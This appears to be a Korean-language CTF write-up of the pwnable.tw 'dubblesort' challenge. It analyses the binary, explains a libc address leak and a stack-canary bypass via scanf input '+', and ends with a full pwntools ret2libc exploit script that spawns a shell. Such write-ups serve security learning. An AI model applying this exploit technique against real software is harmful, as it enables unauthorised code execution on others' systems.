ghkdtlwns987
[pwnable.tw] dubblesort 본문
ㅎㄷㄷ... 다 걸려있디.
한번 어떨지 분석해보자.
undefined4 main(void)
{
undefined4 uVar1;
uint uVar2;
undefined4 *puVar3;
int in_GS_OFFSET;
uint local_78;
undefined4 local_74 [8];
undefined local_54 [64];
int local_14;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
FUN_000108b5();
__printf_chk(1,"What your name :");
read(0,local_54,0x40);
__printf_chk(1,"Hello %s,How many numbers do you what to sort :",local_54);
__isoc99_scanf(&DAT_00010bfa,&local_78);
if (local_78 != 0) {
puVar3 = local_74;
uVar2 = 0;
do {
__printf_chk(1,"Enter the %d number : ",uVar2);
fflush(stdout);
__isoc99_scanf(&DAT_00010bfa,puVar3);
uVar2 = uVar2 + 1;
puVar3 = puVar3 + 1;
} while (uVar2 < local_78);
}
FUN_00010931(local_74,local_78);
puts("Result :");
if (local_78 != 0) {
uVar2 = 0;
do {
__printf_chk(1,&DAT_00010c1d,local_74[uVar2]);
uVar2 = uVar2 + 1;
} while (uVar2 < local_78);
}
uVar1 = 0;
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
uVar1 = FUN_00010ba0();
}
return uVar1;
}
여기서 __printf_chk() 함수와 FUN_10931 함수를 잘 봐야 된다.
PIE 가 걸려있어 분석이 안된다..
다음을 보면 esp+4 부분에 esi(buf) 가 들어있다. __printf_chk() 함수는 %s로 출력해주기 때문에,
buf 에 들어있는 값을 출력할 수 있을 것이다.
난 분석하는걸 싫어해서 printf_chk() 함수가 종료되고 입력을 받고 bp 를 걸어서 esp 의 상태를 확인해 봤다.
그 결과는 다음과 같다
총 16byte 를 입력해주고 stack 의 상태를 봤는데, 0xf7fb4000 의 주소가 들어있었다.
그리고 printf_chk() 함수를 보면 %s 로 출력해주기 때문에, 이를 통해 leak 할 수 있다.
20byte~24byte 를 넣어주면 libc_leak 이 가능할 것으로 보인다.
+ 추가로 libc_leak 이 가능한데, 0xf7fb4000 이 libc_base 주소가 아니다.
libc 의 맨 처음 시작 주소가 0xf7ddc000 이다.
내가 leak 한 주소부터 0xf7ddc000 을 빼주면 0x1d8000 이 계산된다.
(이는 로컬 환경이라서 조금 다르다.) 설명을 해야하기 때문에, local 에서 보도록 하겠다.
다음을 보면 .got.plt 위치를 가리키고 있다.
이를 ./libc_32.so.6 에서 동일한 주소를 확힌해보도록 하자.
다음을 보면 0x1b0000 영역에 위치한 것을 볼 수 있다.
그런데, 0xf7fb4000 에서 마지막 \n 때문에 0xf7fb400a 가 되었기 때문에, leak 할 때 0xa를 빼주어야 한다.
그럼 libc_leak 이 성공적으로 되었다.
다음으로 넘거가자. 우린 return addr 에 system('/bin/sh')를 넣어주어야 한다.
다음 코드를 보면 Hello ~ 어쩌고 출력이 되고,
scanf("%u") 로 입력을 받는데,
scanf() 함수에서 지정된 서식문자 외의 문자를 입력 받으면 프로그램이 종료된다는 특성을 이용할 것이다.
이런느낌?
=> 여기서 좀 많이 헷갈렸던게, + , . 과 같은 문자는 그대로 입력되었다.
그렇다면 나는 + 를 넣어주어 exploit 할 건데,
여기서 canary 가 신경이 쓰일 것이다.
잠시 후에 프로그램을 보겠지만 우리는 canary 를 leak 한다던디, canary 를 덮어쓰는 행위를 하지 않을 것이다.
(굳이 필요가 없다.)
다음을 보면 1을 입력해 주었고, 마지막에 +(0x2b)가 입력된 모습니다.
다음은 값이 모두 입력되었고, sorting...이후에 system() 주소와 /bin/sh 의 주소가 들어간 모습이다.
성공!
from pwn import*
import argparse
context(arch='i386',os='linux')
context.log_level = 'debug'
#context.terminal = ['tmux','splitw','-h']
parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help = '-r -> remote')
args = parser.parse_args()
host = 'chall.pwnable.tw'
port = 10101
elf = ELF('./dubblesort')
def info_bp():
log.info('first : b * main + 62')
log.info('second : b * main + 133')
log.info('input : b * main + 210')
log.info('input_complete : b * main + 229')
log.info('sorting function : b * main + 240')
def remote_exploit():
r.sendlineafter('name :','A'*24)
r.recvuntil('A'*24)
libc_base = u32(r.recv(4)) - 0xa
libc_base = libc_base - 0x1b0000
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + list(libc.search('/bin/sh'))[0]
log.info('libc_base = '+hex(libc_base))
log.info('system_addr = '+hex(system_addr))
log.info('/bin/sh = '+hex(binsh_addr))
r.sendlineafter('sort :',str(35))
r.recv()
for i in range(24):
r.sendline('1')
r.recv()
r.sendline('+')
for i in range(9):
r.sendline(str(system_addr))
r.sendline(str(binsh_addr))
r.recv()
r.interactive()
def local_exploit():
info_bp()
r.sendlineafter('name :','A'*24)
r.recvuntil('A'*24)
libc_base = u32(r.recv(4)) - 0xa
libc_base = libc_base - 0x1d8000
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + list(libc.search('/bin/sh'))[0]
log.info('libc_base = '+hex(libc_base))
log.info('system_addr = '+hex(system_addr))
log.info('/bin/sh = '+hex(binsh_addr))
r.sendlineafter('sort :',str(35))
r.recv()
for i in range(24):
r.sendline('1')
r.recv()
r.sendline('+')
for i in range(9):
r.sendline(str(system_addr))
r.sendline(str(binsh_addr))
r.recv()
r.interactive()
if args.remote:
r = remote(host,port)
libc = ELF('./libc_32.so.6')
remote_exploit()
else:
r = process('./dubblesort')
elf = ELF('./dubblesort')
libc = elf.libc
gdb.attach(r)
local_exploit()
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] silver_bullet (0) | 2020.12.24 |
---|---|
[pwnable.tw] hacknote (0) | 2020.12.07 |
[pwnable.tw] 3x17 (0) | 2020.11.20 |
[pwnable.tw] calc (0) | 2020.11.18 |
[pwnable.tw] orw (0) | 2020.11.16 |